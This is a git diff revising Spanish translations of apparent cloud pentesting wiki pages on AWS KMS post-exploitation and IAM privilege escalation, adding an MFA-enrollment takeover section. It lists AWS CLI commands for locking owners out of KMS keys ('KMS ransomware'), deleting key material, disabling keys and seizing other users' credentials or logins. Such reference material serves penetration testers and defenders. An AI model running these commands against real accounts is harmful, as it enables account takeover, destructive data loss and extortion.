diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md index 81514039c..d8351160f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -4,21 +4,21 @@ ## KMS -Para más información consulta: +Para más información, consulta: {{#ref}} ../../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt information +### Cifrar/Descifrar información `fileb://` and `file://` son esquemas URI usados en comandos de AWS CLI para especificar la ruta a archivos locales: -- `fileb://:` Lee el archivo en modo binario, comúnmente usado para archivos que no son de texto. -- `file://:` Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts o JSON que no tengan requisitos especiales de codificación. +- `fileb://:` Lee el archivo en modo binario, comúnmente usado para archivos no textuales. +- `file://:` Lee el archivo en modo texto, típicamente usado para archivos de texto plano, scripts, o JSON que no tiene requisitos especiales de codificación. > [!TIP] -> Ten en cuenta que si quieres descifrar datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://) +> Ten en cuenta que si quieres descifrar algunos datos dentro de un archivo, el archivo debe contener los datos binarios, no datos codificados en base64. (fileb://) - Usando una clave **simétrica** ```bash @@ -60,14 +60,14 @@ aws kms decrypt \ ``` ### KMS Ransomware -Un attacker con acceso privilegiado sobre KMS podría modificar la KMS policy de las keys y **grant his account access over them**, eliminando el acceso concedido a la legit account. +Un atacante con acceso privilegiado a KMS podría modificar la política de KMS de las claves y **conceder a su cuenta acceso a dichas claves**, eliminando el acceso otorgado a la cuenta legítima. -Entonces, los legit account users no podrán acceder a ninguna información de cualquier servicio que haya sido encrypted con esas keys, creando un ransomware sencillo pero efectivo sobre la cuenta. +Entonces, los usuarios de la cuenta legítima no podrán acceder a ninguna información de cualquier servicio que haya sido cifrada con esas claves, creando un ransomware sencillo pero efectivo sobre la cuenta. > [!WARNING] -> Ten en cuenta que **AWS managed keys aren't affected** por este ataque; solo **Customer managed keys**. +> Tenga en cuenta que **AWS managed keys aren't affected** por este ataque, solo **Customer managed keys**. -> También ten en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la ausencia de esta opción en la consola web hace que este ataque sea posible solo desde la CLI). +> También tenga en cuenta la necesidad de usar el parámetro **`--bypass-policy-lockout-safety-check`** (la ausencia de esta opción en la consola web hace que este ataque solo sea posible desde la CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,22 +92,22 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> Ten en cuenta que si cambias esa policy y solo das acceso a una cuenta externa, y luego desde esa cuenta externa intentas establecer una nueva policy para **devolver el acceso a la cuenta original, no podrás hacerlo porque la acción Put Polocy no puede realizarse desde una cuenta cruzada**. +> Tenga en cuenta que si cambia esa política y solo otorga acceso a una cuenta externa, y luego desde esa cuenta externa intenta establecer una nueva política para **devolver el acceso a la cuenta original, no podrá hacerlo porque la acción Put Polocy no puede realizarse desde una cuenta cruzada**.
### Ransomware genérico de KMS -There is another way to perform a global KMS Ransomware, which would involve the following steps: +Hay otra forma de llevar a cabo un Ransomware global de KMS, que implicaría los siguientes pasos: -- Crear una nueva **key con material de clave** importado por el atacante -- **Re-encriptar datos antiguos** de la víctima que estaban cifrados con la versión anterior usando la nueva. -- **Eliminar la KMS key** -- Ahora solo el atacante, que posee el material de clave original, podría ser capaz de descifrar los datos cifrados +- Crear una nueva **key con key material** importado por el atacante +- **Volver a cifrar datos antiguos** de la víctima que estaban cifrados con la versión anterior usando la nueva. +- **Eliminar la key de KMS** +- Ahora solo el atacante, que tiene el key material original, podría ser capaz de descifrar los datos cifrados ### Delete Keys via kms:DeleteImportedKeyMaterial -With the `kms:DeleteImportedKeyMaterial` permission, an actor can delete the imported key material from CMKs with `Origin=EXTERNAL` (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible. +Con el permiso `kms:DeleteImportedKeyMaterial`, un actor puede eliminar el key material importado de CMKs con `Origin=EXTERNAL` (CMKs que han importado su key material), dejándolas incapaces de descifrar datos. Esta acción es destructiva e irreversible a menos que se vuelva a importar material compatible, lo que permite a un atacante causar efectivamente una pérdida de datos similar a ransomware al dejar la información cifrada permanentemente inaccesible. ```bash aws kms delete-imported-key-material --key-id ``` @@ -121,10 +121,10 @@ aws kms schedule-key-deletion \ --pending-window-in-days 7 ``` > [!CAUTION] -> Tenga en cuenta que AWS ahora **impide que las acciones anteriores se realicen desde una cuenta cruzada:** +> Ten en cuenta que AWS ahora **impide que las acciones anteriores se realicen desde una cuenta cruzada:** -### Change or delete Alias -Este ataque elimina o redirige los alias de AWS KMS, interrumpiendo la resolución de claves y causando fallos inmediatos en cualquier servicio que dependa de esos alias, resultando en un denial-of-service. Con permisos como `kms:DeleteAlias` o `kms:UpdateAlias`, un atacante puede eliminar o volver a apuntar alias y perturbar operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del ID de la clave puede fallar hasta que el alias se restaure o se reasigne correctamente. +### Cambiar o eliminar Alias +Este ataque elimina o redirige aliases de AWS KMS, rompiendo la resolución de claves y provocando fallos inmediatos en cualquier servicio que dependa de esos aliases, lo que resulta en una denegación de servicio. Con permisos como `kms:DeleteAlias` o `kms:UpdateAlias` un atacante puede eliminar o volver a apuntar aliases y obstaculizar operaciones criptográficas (p. ej., encrypt, describe). Cualquier servicio que haga referencia al alias en lugar del key ID puede fallar hasta que el alias sea restaurado o reasignado correctamente. ```bash # Delete Alias aws kms delete-alias --alias-name alias/ @@ -135,7 +135,7 @@ aws kms update-alias \ --target-key-id ``` ### Cancel Key Deletion -Con permisos como `kms:CancelKeyDeletion` y `kms:EnableKey`, un actor puede cancelar la eliminación programada de una AWS KMS customer master key y posteriormente volver a habilitarla. Al hacerlo, se recupera la key (inicialmente en Disabled state) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo exfiltration. +Con permisos como `kms:CancelKeyDeletion` y `kms:EnableKey`, un actor puede cancelar la eliminación programada de una customer master key de AWS KMS y luego volver a habilitarla. Al hacerlo, se recupera la clave (inicialmente en estado Disabled) y se restaura su capacidad para descifrar datos previamente protegidos, permitiendo la exfiltration. ```bash # Firts cancel de deletion aws kms cancel-key-deletion \ @@ -146,22 +146,21 @@ aws kms enable-key \ --key-id ``` ### Disable Key -Con el permiso `kms:DisableKey`, un actor puede deshabilitar una AWS KMS customer master key, impidiendo que se utilice para cifrado o descifrado. Esto interrumpe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o un denial-of-service hasta que la clave sea reactivada. +Con el permiso `kms:DisableKey`, un actor puede deshabilitar una customer master key (CMK) de AWS KMS, impidiendo que se use para encryption o decryption. Esto rompe el acceso para cualquier servicio que dependa de esa CMK y puede causar interrupciones inmediatas o un denial-of-service hasta que la key sea re-enabled. ```bash aws kms disable-key \ --key-id ``` -### Derive Shared Secret - -Con el permiso `kms:DeriveSharedSecret`, un actor puede usar una clave privada mantenida en KMS más una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH. +### Derivar secreto compartido +Con el permiso `kms:DeriveSharedSecret`, un actor puede usar una clave privada almacenada en KMS más una clave pública proporcionada por el usuario para calcular un secreto compartido ECDH. ```bash aws kms derive-shared-secret \ --key-id \ --public-key fileb:/// \ --key-agreement-algorithm ``` -### Suplantación mediante kms:Sign -Con el permiso `kms:Sign`, un actor puede usar una CMK almacenada en KMS para firmar datos criptográficamente sin exponer la clave privada, produciendo firmas válidas que pueden permitir la suplantación de identidad o autorizar acciones maliciosas. +### Impersonation via kms:Sign +Con el permiso `kms:Sign`, un actor puede usar una CMK almacenada en KMS para firmar datos criptográficamente sin exponer la private key, generando firmas válidas que pueden permitir impersonation o autorizar acciones maliciosas. ```bash aws kms sign \ --key-id \ @@ -169,8 +168,8 @@ aws kms sign \ --signing-algorithm \ --message-type RAW ``` -### DoS con Custom Key Stores -Con permisos como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando inoperables sus claves maestras. Eso rompe las operaciones de cifrado, descifrado y firmado para cualquier servicio que dependa de esas claves y puede causar una denegación de servicio inmediata. Por ello, es crítico restringir y monitorizar esos permisos. +### DoS with Custom Key Stores +Con permisos como `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` o `kms:UpdateCustomKeyStore`, un actor puede modificar, desconectar o eliminar un AWS KMS Custom Key Store (CKS), dejando sus claves maestras inoperables. Esto interrumpe las operaciones de cifrado, descifrado y firma para cualquier servicio que dependa de esas claves y puede causar un denial-of-service inmediato. Por lo tanto, es crítico restringir y monitorear esos permisos. ```bash aws kms delete-custom-key-store --custom-key-store-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index b445abbd4..0afa7e482 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -12,38 +12,57 @@ Para más información sobre IAM consulta: ### **`iam:CreatePolicyVersion`** -Concede la capacidad de crear una nueva versión de una policy de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` al usar la bandera `--set-as-default`. Esto permite definir permisos personalizados. +Concede la capacidad de crear una nueva versión de una política de IAM, evitando la necesidad del permiso `iam:SetDefaultPolicyVersion` usando la bandera `--set-as-default`. Esto permite definir permisos personalizados. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Impacto:** Escala privilegios directamente al permitir cualquier acción sobre cualquier recurso. +**Impacto:** Escala privilegios directamente permitiendo cualquier acción sobre cualquier recurso. ### **`iam:SetDefaultPolicyVersion`** -Permite cambiar la versión predeterminada de una política IAM a otra versión existente, lo que podría escalar privilegios si la nueva versión tiene más permisos. +Permite cambiar la versión predeterminada de una policy de IAM a otra versión existente, potencialmente escalando privilegios si la nueva versión tiene más permisos. **Comando Bash:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impacto:** Escalada de privilegios indirecta al permitir más permisos. +**Impacto:** Indirect privilege escalation al habilitar más permisos. -### **`iam:CreateAccessKey`** +### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -Permite crear access key ID y secret access key para otro usuario, lo que puede derivar en una escalada de privilegios. +Permite crear access key ID y secret access key para otro usuario, lo que puede conducir a una posible privilege escalation. -**Explotación:** +**Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impacto:** Escalada de privilegios directa al asumir los permisos extendidos de otro usuario. +**Impacto:** Escalación de privilegios directa al asumir los permisos extendidos de otro usuario. + +Ten en cuenta que un usuario solo puede tener 2 access keys creadas; por lo tanto, si un usuario ya tiene 2 access keys necesitarás el permiso `iam:DeleteAccessKey` para eliminar una de ellas y poder crear una nueva: +```bash +aws iam delete-access-key --uaccess-key-id +``` +### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** + +Si puedes crear un nuevo dispositivo virtual MFA y habilitarlo en otro usuario, puedes registrar efectivamente tu propio MFA para ese usuario y luego solicitar una sesión autenticada con MFA para sus credenciales. + +**Exploit:** +```bash +# Create a virtual MFA device (this returns the serial and the base32 seed) +aws iam create-virtual-mfa-device --virtual-mfa-device-name + +# Generate 2 consecutive TOTP codes from the seed, then enable it for the user +aws iam enable-mfa-device --user-name --serial-number \ +--authentication-code1 --authentication-code2 +``` +**Impacto:** Direct privilege escalation al tomar control de la inscripción de MFA de un usuario (y luego usar sus permisos). ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Permite crear o actualizar un login profile, incluyendo establecer contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a una escalada de privilegios directa. +Permite crear o actualizar un login profile, incluyendo establecer contraseñas para el inicio de sesión en la consola de AWS, lo que conduce a Direct privilege escalation. **Exploit para la creación:** ```bash @@ -55,23 +74,23 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impacto:** Escalada de privilegios directa al iniciar sesión como cualquier usuario. +**Impact:** Escalado de privilegios directo al iniciar sesión como cualquier usuario. ### **`iam:UpdateAccessKey`** -Permite habilitar una access key deshabilitada, lo que puede conducir a acceso no autorizado si el atacante posee la access key deshabilitada. +Permite habilitar una clave de acceso deshabilitada, lo que podría derivar en acceso no autorizado si el atacante posee dicha clave. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Impacto:** Escalada directa de privilegios al reactivar claves de acceso. +**Impacto:** Escalada directa de privilegios al reactivar access keys. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** Permite generar o restablecer credenciales para servicios específicos de AWS (p. ej., CodeCommit, Amazon Keyspaces), heredando los permisos del usuario asociado. -**Exploit for Creation:** +**Exploit para la creación:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` @@ -79,13 +98,13 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impacto:** Escalada directa de privilegios dentro de los permisos del servicio del usuario. +**Impact:** Escalada directa de privilegios dentro de los permisos de servicio del usuario. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Permite adjuntar policies a usuarios o grupos, escalando directamente los privilegios al heredar los permisos de la policy adjunta. +Permite adjuntar políticas a usuarios o grupos, escalando directamente privilegios al heredar los permisos de la política adjunta. -**Exploit for User:** +**Exploit para el usuario:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` @@ -93,13 +112,13 @@ aws iam attach-user-policy --user-name --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Impact:** Escalada de privilegios directa a cualquier cosa que la política otorgue. +**Impacto:** Escalada de privilegios directa a todo lo que la política conceda. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Permite adjuntar o poner políticas en roles, usuarios o grupos, habilitando una escalada de privilegios directa al conceder permisos adicionales. +Permite adjuntar o aplicar políticas a roles, usuarios o grupos, permitiendo una escalada de privilegios directa al otorgar permisos adicionales. -**Exploit for Role:** +**Exploit para Role:** ```bash aws iam attach-role-policy --role-name --policy-arn "" ``` @@ -127,28 +146,28 @@ Puedes usar una política como: ] } ``` -**Impact:** Escalada de privilegios directa al agregar permisos mediante políticas. +**Impacto:** Escalada de privilegios directa al añadir permisos mediante políticas. ### **`iam:AddUserToGroup`** -Permite agregarse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo. +Permite añadirse a un grupo de IAM, escalando privilegios al heredar los permisos del grupo. -**Explotación:** +**Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impacto:** Escalada de privilegios directa al nivel de los permisos del grupo. +**Impacto:** Escalada de privilegios directa al nivel de permisos del grupo. ### **`iam:UpdateAssumeRolePolicy`** -Permite alterar el documento assume role policy de un role, habilitando la asunción del role y sus permisos asociados. +Permite alterar el documento de la assume role policy de un role, habilitando la asunción del role y sus permisos asociados. **Exploit:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Cuando la policy tenga el siguiente aspecto, lo que le da al usuario permiso para assume the role: +Cuando la política se parece a la siguiente, la cual otorga al usuario permiso para asumir el rol: ```json { "Version": "2012-10-17", @@ -163,7 +182,7 @@ Cuando la policy tenga el siguiente aspecto, lo que le da al usuario permiso par ] } ``` -**Impact:** Escalada de privilegios directa al asumir los permisos de cualquier rol. +**Impacto:** Escalada de privilegios directa al asumir los permisos de cualquier rol. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** @@ -177,24 +196,24 @@ aws iam upload-ssh-public-key --user-name --ssh-public-key-body --serial-number ``` -**Impacto:** Escalada de privilegios indirecta al habilitar acceso a CodeCommit o deshabilitar la protección MFA. +**Impacto:** Escalado de privilegios indirecto al habilitar acceso a CodeCommit o desactivar la protección MFA. ### **`iam:ResyncMFADevice`** -Permite la resincronización de un dispositivo MFA, lo que potencialmente puede conducir a una escalada de privilegios indirecta al manipular la protección MFA. +Permite la resincronización de un dispositivo MFA, lo que potencialmente conduce a un escalado de privilegios indirecto al manipular la protección MFA. **Comando Bash:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impacto:** Escalada de privilegios indirecta añadiendo o manipulando dispositivos MFA. +**Impacto:** Indirect privilege escalation by adding or manipulating MFA devices. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **login** con cualquier **rol que confíe** en ella. +Con estos permisos puedes **cambiar los metadatos XML de la conexión SAML**. Luego, podrías abusar de la **federación SAML** para **iniciar sesión** con cualquier **role que confíe** en ella. -Ten en cuenta que al hacer esto **los usuarios legítimos no podrán login**. Sin embargo, podrías obtener el XML, poner el tuyo, login y restaurar la configuración anterior. +Ten en cuenta que al hacer esto **los usuarios legítimos no podrán iniciar sesión**. Sin embargo, podrías obtener el XML, reemplazarlo por el tuyo, iniciar sesión y volver a configurar lo anterior. ```bash # List SAMLs aws iam list-saml-providers @@ -215,7 +234,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(No estoy seguro sobre esto) Si un atacante tiene estos **permisos** podría añadir un nuevo **Thumbprint** para poder iniciar sesión en todos los roles que confían en el proveedor. +(No estoy seguro de esto) Si un atacante tiene estos **permisos** podría añadir un nuevo **Thumbprint** para lograr iniciar sesión en todos los roles que confían en el proveedor. ```bash # List providers aws iam list-open-id-connect-providers @@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Este permiso permite a un atacante actualizar el límite de permisos de un usuario, potencialmente escalando sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes. +Este permiso permite a un atacante actualizar el límite de permisos (permissions boundary) de un usuario, pudiendo así escalar sus privilegios al permitirle realizar acciones que normalmente están restringidas por sus permisos existentes. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -249,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: puede restringir indebidamente las operaciones (provocando interrupciones del servicio) o, si adjunta un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios. +Un actor con iam:PutRolePermissionsBoundary puede establecer un límite de permisos en un rol existente. El riesgo surge cuando alguien con este permiso cambia el límite de un rol: pueden restringir indebidamente las operaciones (provocando interrupciones del servicio) o, si adjuntan un límite permisivo, ampliar efectivamente lo que el rol puede hacer y escalar privilegios. ```bash aws iam put-role-permissions-boundary \ --role-name \